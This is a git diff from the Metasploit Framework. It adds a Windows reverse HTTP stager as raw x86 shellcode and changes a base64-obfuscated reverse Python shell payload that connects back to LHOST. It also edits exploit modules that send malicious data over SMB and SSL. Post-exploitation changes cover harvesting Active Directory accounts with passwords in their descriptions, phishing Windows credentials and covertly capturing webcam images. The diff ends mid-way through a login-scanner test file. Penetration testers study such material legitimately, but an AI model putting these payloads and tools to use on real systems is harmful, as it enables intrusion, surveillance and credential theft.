a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index 0c630c4ead12..ceea4829b01d 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index 908e98ec9936..9a437f9cabfc 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -112,7 +112,12 @@ def initialize(info = {}) end def exploit - connect + begin + connect + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e + print_error("Cannot connect: #{e.message}") + return + end print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...") @@ -133,22 +138,51 @@ def exploit # Connect to a SMTP service, call STARTTLS if (datastore['PROTO'] == 'smtp') - greeting = sock.get_once + begin + greeting = sock.get_once + rescue ::EOFError => e + print_error("Failed to receive data for the protocol greeting: #{e.message}") + return + end - sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n") - resp = sock.get_once + begin + sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n") + resp = sock.get_once + rescue ::Timeout::Error + print_error("Timedout while sending HELO") + return + rescue ::EOFError => e + print_error("Failed to receive a response for HELO: #{e.message}") + return + end - sock.put("STARTTLS\r\n") - resp = sock.get_once + begin + sock.put("STARTTLS\r\n") + resp = sock.get_once + rescue ::Timeout::Error + print_error("Timed out while sending STARTTLS") + return + rescue ::EOFError => e + print_error("Failed to receive a response for STARTTLS: #{e.message}") + return + end if (resp and resp !~ /^220/) print_warning("Warning: this server may not support STARTTLS") end - end - sock.put(buf) - resp = sock.get_once + + begin + sock.put(buf) + resp = sock.get_once + rescue ::Timeout::Error => e + print_error("Timed out while sending the malicious data") + return + rescue ::EOFError => e + print_error("Failed to receive a response after the malicious data: #{e.message}") + return + end if (resp == "\x00\x00\x01") print_status("The response indicates that the PCT protocol is disabled") diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 4600571bc9de..a90fc1336b5f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -50,7 +50,7 @@ def random_padding # def command_string - raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);" + raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")" obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}") encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd) "python -c \"exec('#{encoded_cmd}'.decode('base64'))\"" diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb new file mode 100644 index 000000000000..681d61f840a9 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -0,0 +1,111 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def self.handler_type_alias + "reverse_http_proxy_pstore" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse HTTP Stager Proxy', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockedi http', + 'Stager' => + { + 'Offsets' => + { + 'EXITFUNC' => [ 579, 'V' ], + 'LPORT' => [ 499, 'v' ], # Not a typo, really little endian + }, + 'Payload' => +# Built on Thu Mar 6 02:37:12 2014 + +# Name: stager_reverse_http_proxy_pstore +# Length: 649 bytes +# LEPort Offset: 499 +# ExitFunk Offset: 579 +"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + +"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + +"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + +"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + +"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + +"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + +"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + +"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + +"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + +"\x60\xEB\x16\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x10\x00\x00\x6A" + +"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\xC3\xB3\x09\xE8\xE3\xFF\xFF\xFF" + +"\x50\xFE\xCB\x75\xF6\x68\x72\x65\x63\x00\x68\x70\x73\x74\x6F\x54" + +"\x68\x4C\x77\x26\x07\xFF\xD5\x5A\x5A\x5F\x57\x6A\x00\x6A\x00\x6A" + +"\x00\x57\x68\xDB\xBD\x64\x26\xFF\xD5\x58\x5A\x52\x50\x52\x6A\x00" + +"\x6A\x00\x8B\x00\x50\x8B\x10\x8B\x52\x38\xFF\xD2\xBF\x00\x81\x7E" + +"\x5E\x58\x5A\x59\x51\x52\x50\x6A\x00\x51\x6A\x01\x8B\x12\x52\x8B" + +"\x12\x8B\x52\x0C\xFF\xD2\x8B\x44\x24\x08\x8B\x00\x85\xC0\x0F\x84" + +"\xB1\x00\x00\x00\x39\xC7\x75\xD9\x58\x5A\x59\x5F\x57\x51\x52\x50" + +"\x57\x6A\x00\x51\x6A\x00\x8B\x00\x50\x8B\x10\x8B\x52\x3C\xFF\xD2" + +"\x8B\x44\x24\x0C\x8B\x54\x24\x10\x6A\x00\x52\x6A\x01\x8B\x00\x50" + +"\x8B\x10\x8B\x52\x0C\xFF\xD2\x58\x59\x5A\x52\x51\x50\x8B\x4C\x24" + +"\x10\x8B\x7C\x24\x14\x57\x6A\x00\x51\x52\x6A\x00\x8B\x00\x50\x8B" + +"\x10\x8B\x52\x54\xFF\xD2\x8B\x44\x24\x14\x8B\x4C\x24\x18\x6A\x00" + +"\x51\x6A\x01\x8B\x00\x50\x8B\x10\x8B\x52\x0C\xFF\xD2\x58\x50\x6A" + +"\x00\x6A\x00\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x2C\x51\x8B\x4C\x24" + +"\x28\x8B\x09\x51\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x20\x51\x6A\x00" + +"\x8B\x00\x50\x8B\x10\x8B\x52\x44\xFF\xD2\x8B\x44\x24\x1C\x8B\x00" + +"\x50\xB1\x3A\x8A\x10\x38\xD1\x74\x0C\x40\x8A\x10\x38\xD1\x75\xF9" + +"\xC6\x00\x00\x40\x50\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54" + +"\x68\x4C\x77\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54" + +"\x68\x3A\x56\x79\xA7\xFF\xD5\xEB\x4B\x5B\x31\xFF\x57\x57\x6A\x03" + +"\x51\x52\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5" + +"\xEB\x34\x59\x31\xD2\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52" + +"\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57" + +"\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B" + +"\x74\x10\xEB\xE9\xEB\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + +"\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00" + +"\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53" + +"\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF" + +"\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\x5E" + +"\x5E\x5E\x59\x5A\xE8\x60\xFF\xFF\xFF"} + )) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + p = super + i = p.index("/12345\x00") + u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00" + p[i, u.length] = u + p + datastore['LHOST'].to_s + "\x00" + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end +end diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 8e2dded9e21a..22519eae5700 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -31,7 +31,7 @@ def initialize(info={}) register_options([ OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), - OptString.new('FIELDS', [true, 'Fields to retrieve.','sAMAccountName,userAccountControl,comment,description']), + OptString.new('FIELDS', [true, 'Fields to retrieve.','userPrincipalName,sAMAccountName,userAccountControl,comment,description']), OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']), ], self.class) end @@ -63,7 +63,6 @@ def run q[:results].each do |result| row = [] - report = {} result.each do |field| if field[:value].nil? row << "" diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index 94cbbc526e51..e0cba065b251 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -12,7 +12,13 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Accounts UAC_DISABLED = 0x02 - USER_FIELDS = ['sAMAccountName', 'userAccountControl', 'lockoutTime', 'mail', 'primarygroupid', 'description'].freeze + USER_FIELDS = ['sAMAccountName', + 'userPrincipalName', + 'userAccountControl', + 'lockoutTime', + 'mail', + 'primarygroupid', + 'description'].freeze def initialize(info = {}) super(update_info( @@ -35,6 +41,7 @@ def initialize(info = {}) OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]), OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]), + OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY', [ 'ANY', @@ -48,10 +55,17 @@ def initialize(info = {}) end def run + @user_fields = USER_FIELDS.dup + + if datastore['ADDITIONAL_FIELDS'] + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + @user_fields.push(*additional_fields) + end + max_search = datastore['MAX_SEARCH'] begin - q = query(query_filter, max_search, USER_FIELDS) + q = query(query_filter, max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) @@ -93,7 +107,7 @@ def parse_results(results) 'Header' => "Domain Users", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => USER_FIELDS + 'Columns' => @user_fields ) results.each do |result| @@ -107,9 +121,9 @@ def parse_results(results) end end - username = result.first[:value] - uac = result[1][:value] - lockout_time = result[2][:value] + username = result[@user_fields.index('sAMAccountName')][:value] + uac = result[@user_fields.index('userAccountControl')][:value] + lockout_time = result[@user_fields.index('lockoutTime')][:value] store_username(username, uac, lockout_time, domain, domain_ip) results_table << row diff --git a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb index 047ce64dae80..2bf68fa43ca9 100644 --- a/modules/post/windows/gather/phish_windows_credentials.rb +++ b/modules/post/windows/gather/phish_windows_credentials.rb @@ -20,8 +20,8 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Wesley Neelen <security[at]forsec.nl/@wez3forsec>', # Metasploit module - 'Matt Nelson (@enigma0x3)' # Author original powershell script + 'Wesley Neelen <security[at]forsec.nl', # Metasploit module, @wez3forsec on Twitter + 'Matt Nelson' # Original powershell script, @enigma0x3 on Twitter ], 'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], 'Platform' => [ 'win' ], diff --git a/msfvenom b/msfvenom index a571276eb09d..ced92cc1ef6e 100755 --- a/msfvenom +++ b/msfvenom @@ -331,6 +331,8 @@ if __FILE__ == $0 output_stream = $stdout output_stream.binmode output_stream.write payload + # trailing newline for pretty output + $stderr.puts unless payload =~ /\n$/ end end diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index bc878ef09dd1..e52da0a992ed 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -20,15 +20,17 @@ "-q" => [ true, "The JPEG image quality (Default: 50)" ], "-g" => [ false, "Send to GUI instead of writing to file" ], "-s" => [ true, "Stop recording" ], - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ], + "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ] ) - +iterator = 0 folderpath = "." single = false quality = 50 index = 1 interval = 1000 gui = false +saveAll = false opts.parse(args) { |opt, idx, val| case opt when "-h" @@ -53,6 +55,8 @@ print_line("[*] Stopping webcam") client.webcam.webcam_stop raise Rex::Script::Completed + when "-a" + saveAll = true end } @@ -79,7 +83,8 @@ 'PeerPort' => 16235 ) end - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" + print_line( "[*] imagepath is #{imagepath}" ) htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" begin if single == true @@ -97,8 +102,8 @@ else if(!gui) ::File.open(htmlpath, 'wb' ) do |fd| - fd.write('<html><body><img src="webcam.jpg"></img><script>'+ - "setInterval('location.reload()',#{interval});</script></body><html>" ) + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" + fd.write(htmlOut) end print_line( "[*] View live stream at: #{htmlpath}" ) Rex::Compat.open_file(htmlpath) @@ -111,7 +116,15 @@ else ::File.open( imagepath, 'wb' ) do |fd| fd.write( data ) - end + ::File.open(htmlpath, 'wb' ) do |fd| + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" + fd.write(htmlOut) + if(saveAll) + iterator = iterator + 1 + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" + end + end + end end select(nil, nil, nil, interval/1000.0) end diff --git a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb new file mode 100644 index 000000000000..523b8288d5ea --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb @@ -0,0 +1,182 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/chef_webui' + +describe Metasploit::Framework::LoginScanner::ChefWebUI do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:username) do + 'admin' + end + + let(:password) do + 'password' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/users/sign_in', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e") + http_scanner.send_request(req_opts) + expect(http_scanner.session_name).to eq("_sandbox_session") + expect(http_scanner.session_id).to eq("c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e") + end + end + + context '#try_credential' do + it 'sends a login request to /users/login_exec' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/users/login_exec')) + http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"utf8=%E2%9C%93&authenticity_token=byV12YkMA6NV3zJFqclZjy1JR%2bAZYbCx75gT0dipoAo%3d&name=#{username}&password=#{password}&commit=login")) + http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred) + end + end + + context '#try_login' do + + let(:login_ok_message) do + 'New password for the User' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req.opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = "/users/#{username}/edit" + res.headers['Set-Cookie'] = '_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e' + res + elsif req.opts['uri'] && req.opts['uri'].include?('/users/login') + res = Rex::Proto::Http::Response.new(200) + res.body = '<input name="authenticity_token" type="hidden" value="byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=" />' + elsif req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?("/users/#{username}/edit") + res = Rex::Proto::Http::Response.new(200) + res.body = 'New password for the User' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when ChefWebUI' do + let(:login_ok_message) do + '<title>ChefWebUI 2.4 Appliance: User profile' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'New password for the User' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + + end + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb index d3a5bd861cdb..ea33ad1fb8fe 100644 --- a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb @@ -55,7 +55,7 @@ before :each do allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| - if req.opts['uri'] && req.opts['uri'].include?('/proxy/ssllogin') && + if req.opts['uri'] && req.opts['vars_post'] && req.opts['vars_post']['user'] && req.opts['vars_post']['user'] == username && diff --git a/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb new file mode 100644 index 000000000000..84b87a7c1ead --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb @@ -0,0 +1,198 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/zabbix' + +describe Metasploit::Framework::LoginScanner::Zabbix do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:good_version) do + '2.4.1' + end + + let(:bad_version) do + 'Unknown' + end + + let(:username) do + 'Admin' + end + + let(:username_disabled) do + 'admin_disabled' + end + + let(:password) do + 'password' + end + + let(:password_disabled) do + 'password_disabled' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + before do + http_scanner.instance_variable_set(:@version, good_version) + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses zbx_sessionid session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("zbx_sessionid=ZBXSESSIONID_MAGIC_VALUE;") + http_scanner.send_request(req_opts) + expect(http_scanner.zsession).to eq("ZBXSESSIONID_MAGIC_VALUE") + end + end + + context '#try_credential' do + it 'sends a login request to /index.php' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/index.php')) + http_scanner.try_credential(cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"request=&name=#{username}&password=#{password}&autologin=1&enter=Sign%20in")) + http_scanner.try_credential(cred) + end + end + + context '#try_login' do + + let(:login_ok_message) do + 'Zabbix 2.4 Appliance: User profile' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Zabbix 2.4 Appliance: User profile' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Zabbix' do + let(:login_ok_message) do + 'Zabbix 2.4 Appliance: User profile' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && 